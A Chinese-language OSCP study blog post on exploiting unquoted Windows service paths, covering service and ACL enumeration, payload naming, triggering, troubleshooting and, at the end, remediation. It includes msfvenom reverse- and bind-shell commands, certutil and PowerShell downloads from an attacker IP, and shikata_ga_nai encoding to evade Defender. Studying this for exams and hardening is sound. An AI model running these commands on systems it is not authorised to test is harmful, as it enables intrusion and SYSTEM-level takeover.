OSCP 研记已经写到了第 11 篇,这期继续把 Windows 提权里的未加引号服务路径漏洞说完。上篇铺垫了成因、原理和基本判断方法,这篇直接把我在靶机和授权测试环境里摸出来的全过程整理出来:怎么筛服务、怎么判断哪个目录真正可写、恶意文件到底放哪、触发失败时又该怎么倒推排错。如果你是正在备考 OSCP,或者单纯想弄懂这个经典但容易被想简单了的提权手法,这篇应该能让你少走几条弯路。
先说一个反直觉的结论:发现一条未加引号的服务路径,往往只是万里长征第一步。路径里有空格、没引号,不代表就一定有可写目录供你利用;你以为可写的服务目录,在系统的路径解析序列里其实排不到前面。这篇文章专门把这些“以为”掰正,顺便把整套操作流程从头到尾过一遍。
1. 上篇没讲透的解析机制:系统是怎么一步步“猜”到错误路径的
未加引号服务路径漏洞,本质上是 Windows 在启动服务时对ImagePath这个注册表值做“宽容解析”引发的。上篇说了个大概,这里我把细节彻底摊开。
当服务的ImagePath没有用双引号包裹,且路径中存在空格时,系统调用CreateProcess会按照空格把完整路径拆成多个候选路径,然后逐个尝试执行。比如这一条:
C:\Program Files\Vuln App\server.exe系统不是直接把整个字符串交给文件系统,而是会依次尝试:
C:\Program.exe C:\Program Files\Vuln.exe C:\Program Files\Vuln App\server.exe第一次找不到就试第二次,第二次找不到就试第三次,直到某个候选路径对应的文件真实存在。一旦命中,就直接执行那个文件。
这个“按空格猜路径”的兼容机制本身是为老式程序准备的,正常路径写规范了根本不会触发,但一旦路径不规范,就给攻击者留了一个劫持执行流的窗口。
用快递做类比就很好懂:收件地址写得不规范,快递员每到有空格的地方就停下猜一次门牌,哪个门牌真的存在、门还开着,就把包裹扔进去。如果所有可能地址都锁着,那这次投递就失败;可如果中途有一个门牌是你事前放好的“假收件点”,那包裹自然就被你签收了。
接下来是漏洞成立的硬性条件,这里必须逐条说清:
- 服务二进制路径是绝对路径,且包含至少一个空格。
- 服务配置里的
ImagePath没有用引号包裹。 - 路径解析序列中,某个候选文件所在的目录对当前用户可写。
- 服务以高权限账户运行,通常是
LocalSystem或Administrator。
很多人会忽略第 3 条,或者把它理解错。注意:不是“服务所在的最终目录可写”就行,而是“系统会去尝试的某个候选文件名所在的父目录可写”才行。
举个例子。上面那条路径的最终目录是C:\Program Files\Vuln App\,就算这个目录对 Users 完全可写,系统在解析时也会先去尝试C:\Program.exe和C:\Program Files\Vuln.exe。如果这两个候选不存在,系统会继续执行真实的server.exe,根本不会去C:\Program Files\Vuln App\里翻找别的文件。所以最终目录可写,并不能像很多文章写的那样直接“把这个目录里的服务文件替换掉”。
这是上篇埋下、这篇必须要讲透的一个关键:只有可写点位于“真实路径之前被尝试的候选位置”时,漏洞才真正能被利用。
另外补充一个容易忽视的小点:系统是逐级“空格截断”生成候选的,路径中有多少个空格,就会有多少个候选。如果路径中有连续空格,候选数量还会更多。这个细节在做文件名规划时偶尔会用到,后面第 3 节会再碰。
2. 信息收集阶段:两三条指令从一堆服务里筛出“目标”
进入实战的第一步,是在目标机器上把可疑服务捞出来。Windows 下我最常用的还是老牌的wmic,虽然新版系统里它被标记为弃用,但 OSCP 靶机和不少存量服务器上依然能跑,命令也简单。
一条典型命令是这样:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" | findstr /i /v """这段命令做了三件事:只保留自动启动的服务,排除系统目录下的常规服务,再排除路径已经带引号的服务。输出里剩下的,往往就是值得手工细看的对象。
findstr /i /v """这个写法有点绕,它的意思是过滤掉包含双引号的行。如果某条路径已经是"C:\Program Files\..."这种带引号的形式,那就不存在这个漏洞,可以直接排除。
PowerShell 的写法会更干净,也方便在较新系统上用:
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match '\s' } | Select-Object Name, State, StartMode, PathName | Format-List逻辑就两条:路径不以引号开头,且路径包含空格。理论上所有满足这两个条件的服务都值得看,实际筛的时候我会再排除掉C:\Windows\开头的服务,因为那些目录默认权限太紧,普通用户写不进去,排除后能省不少事。
筛选只是第一步,真正的重头戏是目录权限检查。我用icacls沿着服务路径逐级往上查。比如候选服务路径是:
C:\Apps\Update Center\svcupdate.exe那就从盘符根开始,一级一级看:
icacls C:\ icacls C:\Apps icacls "C:\Apps\Update Center"每级输出里如果看到类似这样的行:
C:\Apps\ BUILTIN\Users:(OI)(CI)(W) C:\Apps\ BUILTIN\Users:(F) C:\Apps\ NT AUTHORITY\Authenticated Users:(W)这基本就说明普通用户对这个目录有写权限,是潜在可利用点。
也可以上传 Sysinternals 的accesschk.exe,用更人性化的方式直接查 Users 的写权限:
accesschk.exe /accepteula -uwdqs Users "C:\Apps"-u表示不要检查已禁用账户,-w只显示有写权限的对象,-d只看目录,-q精简输出,-s递归。这套参数非常适合快速圈定哪些目录对当前用户可写。
这里有一个我踩过很多次的教训:查 ACL 一定不要只查服务二进制所在的最后一级目录。真正让漏洞成立的往往是中间层级的目录,比如C:\Apps可写,而不是C:\Apps\Update Center可写。因为系统解析候选时,会在C:\Apps\Update.exe这个位置停下来,而这个文件正好放在C:\Apps下面。只查最后一层,很容易错过真正的突破口。
如果目标机器上的服务特别多,手工逐级查太慢,可以用一小段 PowerShell 脚本批量扫描:
$services = Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match '\s' } foreach ($s in $services) { $cleanPath = $s.PathName.Trim('"') $parts = $cleanPath.Split('\') for ($i = 2; $i -lt $parts.Count; $i++) { $dir = $parts[0..$i] -join '\' if (Test-Path $dir) { $acl = Get-Acl $dir $entry = $acl.Access | Where-Object { $_.IdentityReference -match 'Users|Authenticated Users' -and $_.FileSystemRights -match 'Write|FullControl' } | Select-Object -First 1 if ($entry) { Write-Host "$dir => $($entry.IdentityReference) $($entry.FileSystemRights)" } } } }脚本输出的每一行都代表一个对普通用户可写的目录,直接对照服务的候选解析序列就能判断能不能用。注意脚本只作为辅助,真实环境里还要结合身份验证、继承关系再复核一遍。
3. 载荷生成与部署流程:三个关键步骤,一步都不能错
一旦确认目标服务的解析序列里有可写点,接下来就是生成恶意二进制、上传到指定目录、触发执行。这三步看着简单,每一步都有细节。
3.1 生成与目标架构匹配的 payload
先用echo %PROCESSOR_ARCHITECTURE%或systeminfo确认目标系统架构。64 位系统上我一般直接用 x64 payload,少一层 WoW64 兼容问题。生成反弹 shell 的经典命令:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f exe -o Update.exe如果是 32 位目标,就把windows/x64/shell_reverse_tcp换成windows/shell_reverse_tcp。
payload 类型上,shell_reverse_tcp这种无阶段(stageless)类型最省心:一次连接直接给你 shell,不依赖后续 stage 是否被拦截。meterpreter/reverse_tcp这种阶段型体积更小,但后续要拉取 stage,在某些网络环境下稳定性反而差一些。OSCP 里我优先用无阶段的。
3.2 把文件弄到目标机器上
取决于当前 shell 的网络能力,常用的上传方式有三种。
用certutil从 HTTP 服务拉取:
certutil -urlcache -f http://10.10.14.20/Update.exe C:\Apps\Update.exe用 PowerShell 下载:
Invoke-WebRequest -Uri http://10.10.14.20/Update.exe -OutFile C:\Apps\Update.exe如果是 Windows 自带的 SMB 共享:
copy \\10.10.14.20\share\Update.exe C:\Apps\Update.exe上传完一定要确认文件完整落地,看大小、看时间戳,必要时算一下哈希:
dir C:\Apps\Update.exe certutil -hashfile C:\Apps\Update.exe SHA256传出中断这种事我遇到过不止一次,文件传了一半,触发时系统直接报找不到有效映像,排查半天才发现是本地 HTTP 服务带宽或者防火墙把连接掐了。
3.3 命名策略:恶意文件到底该叫什么
这是全篇最容易翻车的地方。恶意文件的完整路径,必须精确等于系统解析序列里某个候选路径。
假设服务路径是:
C:\Apps\Update Center\svcupdate.exe系统会依次尝试:
C:\Apps.exe C:\Apps\Update.exe C:\Apps\Update Center\svcupdate.exe现在假设icacls显示C:\Apps对 Users 可写,而C:\Apps\Update Center也可写。那么我们要做的,就是把恶意文件放在C:\Apps下,命名为Update.exe。这样当服务启动,系统走到第二个候选C:\Apps\Update.exe时,发现文件存在,就直接执行了它,真实路径svcupdate.exe根本轮不到。
反过来,如果只有C:\Apps\Update Center可写,C:\Apps不可写,那么这个漏洞就基本不可利用。因为系统尝试C:\Apps\Update.exe时,文件根本放不进去,最终还是会执行到真实的svcupdate.exe。这个坑,很多初学者会踩。
再看另一个例子。如果服务路径是:
C:\Program Files\My App\Sub Dir\app.exe而C:\Program Files\My App\目录对 Users 可写,但C:\Program Files本身不可写。那系统尝试候选时走到C:\Program Files\My.exe这个位置,文件放在C:\Program Files\下——写不进去。所以这时候就算My App目录可写,也没法利用。除非C:\Program Files\My App\Sub.exe这个位置对应的是一个“更深的空格截断点”,而该目录恰好可写,那才能把恶意文件命名为Sub.exe放在C:\Program Files\My App\下。
一句话总结:一定要画出解析候选序列,然后找哪个候选文件的父目录可写。别的都没用。
3.4 触发执行:把服务“唤醒”
文件放好后,让服务执行恶意文件才是关键一步。最直接的办法是重启服务:
sc stop VulnApp sc start VulnApp或者:
net stop VulnApp && net start VulnApp这里的现实问题是:普通用户通常没有停止、启动 SYSTEM 服务的权限。OSCP 靶机里这种情况一般会给你留一个具备操作权限的服务,但真实环境里经常是sc stop直接返回“拒绝访问”。这时候不要硬磕,可以考虑两个方向:
一是查当前用户有没有SeShutdownPrivilege这类关机权限,如果有,可以等目标重启后让服务自动拉起恶意文件。但这个操作会中断目标,动静大,属于兜底方案,考试里慎用。
二是看看目标服务本身是否正处于“停止”状态。如果服务没在运行,而你恰好又是该服务的启动账户,或者系统里配置了让普通用户启动该服务的权限,那sc start是可以成功的。先跑sc qc VulnApp看服务状态和启动账户,再决定下一步。
还有一类情况是服务配置了“失败后自动重启”。如果你能想办法让服务进程崩溃(比如目标服务监听某个端口,你把它打崩),系统会自动拉起来,这也能成为触发窗口。但这种方法噪音更大,非必要不用。
4. 踩坑实录:反弹 Shell 没弹回来的完整排查链路
这一节把我在靶机和授权测试里反复踩过的坑集中列出来。如果你照着前面的流程做了一遍,shell 却没弹回来,不要慌,按照下面这个链路倒推,大多数问题都能定位。
4.1 坑一:把“服务目录可写”当成“可利用”
这是最典型的误解。靶机里我看到C:\Program Files\Vuln App\对 Users 可写,高兴得不行,直接丢一个Vuln.exe进去,然后重启服务,等半天没有反弹。
后来把系统解析序列画出来才明白:系统尝试完C:\Program.exe和C:\Program Files\Vuln.exe之后,会直接执行真实的C:\Program Files\Vuln App\server.exe,根本不会去Vuln App目录里找额外文件。而C:\和C:\Program Files\默认普通用户都写不了。
所以看到最终目录可写时,第一反应应该是回到解析序列,问自己:恶意文件放进去的候选目录,是不是系统会真实尝试的目录?
4.2 坑二:ACL 显示有 Users,但实际写不进去
有时候icacls输出里确实有Users: (W),但上传文件还是报拒绝访问。原因往往是当前 shell 的身份并不是Users组成员的有效命中对象。比如当前进程以Network Service或LOCAL SERVICE身份运行,它属于哪个组、能否写入,要看具体 ACL 的生效范围,不能只看“Users”字样。
处理方式很简单:先用whoami /all把当前账户的完整信息拉出来,再用icacls确认这个账户或它所在的组到底有没有写权限。另外还要注意有些目录挂了对某个账户的“拒绝”ACE,即使父级有“允许”,子级也会拒绝。
4.3 坑三:文件上传后直接消失
上传完过几秒,文件被删了,最常见原因是 Windows Defender 实时防护。OSCP 靶机里这种情况不算少,特别是那些默认开启 Defender 的系统。
处理思路有几个。一是换用更小的 stager,静态特征更少;二是用 msfvenom 做简单的编码:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.20 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o Update.exe但要明白,编码只能绕过部分静态扫描,不能对抗行为监控。在授权环境里可以试,真实目标上不建议靠“猜”来绕过杀软,那属于另一个更复杂的对抗话题。还有一个笨但有效的办法:上传前先在本地把生成的 exe 丢到目标同款防护软件里扫一遍,确认不被杀再上传。
4.4 坑四:连接完全没回来,监听端无任何反应
如果文件确实执行了,但你的监听端连一点连接记录都没有,优先排查网络层面。步骤是这样的:
- 本机确认监听是否正常:
nc -lvnp 4444,换用-v可以看详细日志。 - 确认目标出站方向没被封死。很多靶机只允许常见端口出站,反弹 shell 用
4444这种高端口容易被防火墙规则干掉。把监听端口换成80或443再试一次。 - 检查攻击机自己的入站防火墙,别让杀毒软件或系统防火墙把监听端口拦了。
- 如果出站确实受限,干脆换 bind shell,让目标监听、攻击机去连:
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f exe -o Update.exe然后本机连过去:
nc 10.10.14.25 4444bind shell 的缺点是容易被目标防火墙入站规则拦,但在只拦出站的环境里反而好用。
4.5 坑五:服务压根没按预期重启
还有一种情况是服务压根没重启。明明执行了sc start,结果返回“服务正在运行中”,或者“服务无法启动”。先别急着反复试,先把状态查清楚:
sc query VulnApp sc qc VulnApp如果服务本来就在运行,而当前用户又没法 stop,那触发点确实很难实现。这时候我会退回来看其他入口,比如计划任务、自启动目录、或者另一个服务,而不是死磕这一个点。未加引号服务路径漏洞不是银弹,它常常只是提权拼图里的一块,需要和其他弱点配合。
下面这张表是排查时的速查清单,贴在这里方便你直接照着做:
| 现象 | 可能原因 | 验证命令/手段 | 处理方向 |
|---|---|---|---|
| 连接没弹 | 出站防火墙拦截 | 监听端换 80/443 再试 | 换常见端口或 bind shell |
| 文件消失 | Defender 隔离 | 查隔离记录、事件日志 | 换编码、换小体积 stager |
| 上传报拒绝 | ACL 与身份不匹配 | whoami /all+icacls | 找其他可写点 |
| 服务重启失败 | 当前用户权限不足 | sc qc看启动账户 | 找其他触发点或结合其他漏洞 |
| 文件存在但没执行 | 文件名与候选路径不符 | 对照解析序列 | 核对候选文件名和目录 |
5. 一次完整提权案例:从低权限 shell 到 SYSTEM 权限的逐步复盘
理论讲完,用一个完整案例把流程串起来。目标是一台 Windows Server 2019 的测试机,我通过 Web 服务的文件上传漏洞拿到一个低权限 shell,当前用户是tomcat,在 Users 组里。
第一步,信息收集。whoami /priv看了权限,顺便看了系统架构是 x64。接着用 wmic 拉服务列表:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"输出里有一条:
SvcUpdate Auto C:\Apps\Update Center\svcupdate.exe路径没有引号,包含空格,不在 C:\Windows 下。思路立刻聚焦。
第二步,逐级查 ACL。先查根目录和C:\Apps:
icacls C:\ icacls C:\Apps结果C:\Apps这一行出现了:
C:\Apps\ BUILTIN\Users:(OI)(CI)(W)也就是说,普通用户可以在C:\Apps下创建文件。再查C:\Apps\Update Center,虽然也可写,但根据前面讲的原理,真正关键的是C:\Apps可写,因为解析候选里C:\Apps\Update.exe的父目录正好是它。
第三步,生成恶意文件。为匹配目标 64 位系统:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o Update.exe监听端口选 80,避免出站高端口被拦。本地起 HTTP:
python3 -m http.server 80目标机器上通过 certutil 下载:
certutil -urlcache -f http://10.10.14.20/Update.exe C:\Apps\Update.exe然后确认文件落盘。
第四步,触发。尝试重启服务:
sc stop SvcUpdate sc start SvcUpdate测试环境里当前用户恰好拥有这个服务相关权限,执行成功。这里如果 stop 失败,我可以退而求其次,检查系统里有没有计划任务能在某个时间点拉起服务,或者考虑这台机器上普通用户是否被授予了关机的SeShutdownPrivilege,但这些都不如直接重启服务干净。
第五步,收 shell。攻击机监听端直接弹回:
nc -lvnp 80连上之后whoami显示:
nt authority\system权限提升链路完成。
这个案例看起来顺畅,但实际测试里我失败了很多次。第一次失败就是因为只看了服务最终目录的 ACL,忽略中间层级;第二次是恶意文件名没对准候选路径;第三次是监听端口被把守的网络策略拦了。所以复盘这篇文章里写的每一步,都是我踩过坑之后沉淀下来的顺序。
6. 修复与加固:给未加引号服务路径漏洞“上锁”的具体操作
写到最后一部分,从防御视角把修复方案讲清楚。运维人员也好,备考 OSCP 顺手做加固练习也好,这套操作都值得保存。
6.1 最小修复:先给服务路径加引号
加引号是最直接的修复方式,让系统不再按空格拆候选。命令如下:
sc config SvcUpdate binPath= "\"C:\Apps\Update Center\svcupdate.exe\""注意sc config的语法里,binPath=后面的等号和值之间必须有一个空格,这是最容易写错的地方。改完用sc qc SvcUpdate确认。
也可以用 wmic 改:
wmic service where name='SvcUpdate' set pathname="\"C:\Apps\Update Center\svcupdate.exe\""改完建议重启一次服务,确认路径加引号后服务仍然能正常启动。
6.2 根治修复:收紧目录 ACL
加引号解决了“解析错觉”,但没有解决“中间目录被用户写入”这个根因。很多软件的安装路径历史遗留太深,无法轻易更换,那就要把路径上每一个层级目录的写权限都收回来。
把普通用户的写权限删掉:
icacls "C:\Apps" /remove "BUILTIN\Users" icacls "C:\Apps\Update Center" /remove "BUILTIN\Users"如果是Authenticated Users或Everyone有写权限,也要一并处理。核心原则是:服务二进制路径上的每一级目录,只允许 Administrators 和 SYSTEM 写入,普通用户一律只读。
6.3 长期巡检:用脚本定期自查
修复是临时的,长期不检查,新增服务时很可能又出现同样的问题。用 PowerShell 写一个小巡检脚本,放到计划任务里每周跑一次,把结果输出到文件:
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match '\s' } | Select-Object Name, State, StartMode, PathName | Out-File C:\reports\unquoted_services.txt运维同学拿到报告后,照着清单把可疑服务加引号、收紧 ACL 就行。这个脚本对存量环境的摸底也很有用,很多服务器上跑着一堆年久失修的服务,一扫描就是一个接一个的雷。
6.4 纵深防御:别让一个漏洞决定生死
除了服务路径本身,建议做几层纵深防御。高权限服务尽量用独立的低权限服务账户运行,不要图省事全用 LocalSystem,这样即使服务被劫持,攻击者拿到的也不是最高权限。
应用白名单方面,AppLocker 或 WDAC 可以限制指定目录之外不能执行 exe,从而让攻击者放进来的恶意文件即使被触发也无法运行。安全审计层面,开启进程创建审计(Windows 事件 ID 4688)和 Sysmon 的进程创建事件(Event ID 1),能够及时发现异常路径下的启动行为。再把关键目录的“写入”操作加入 SACL 审计,每次可疑文件落地都会留下痕迹。
6.5 运维操作注意事项
改服务配置之前,建议先备份注册表项:
reg export "HKLM\SYSTEM\CurrentControlSet\Services\SvcUpdate" C:\backup\svcupdate.reg改动服务路径后必须在变更窗口内重启服务验证。有些服务加引号后因为路径里的反斜杠和引号嵌套写错,导致启动失败,这种低级错误往往比漏洞本身更让运维头疼。改完一定要sc start看一眼状态,确认无误才算闭环。
我个人在实际操作里的体会是:未加引号服务路径漏洞的利用门槛不高,但踩坑概率也不低,关键就在“解析序列”和“目录 ACL”这两件事上。把这两点想清楚,再靠一套固定的枚举、核查、上传、触发流程反复练,这个提权手法基本就能稳稳拿捏住了。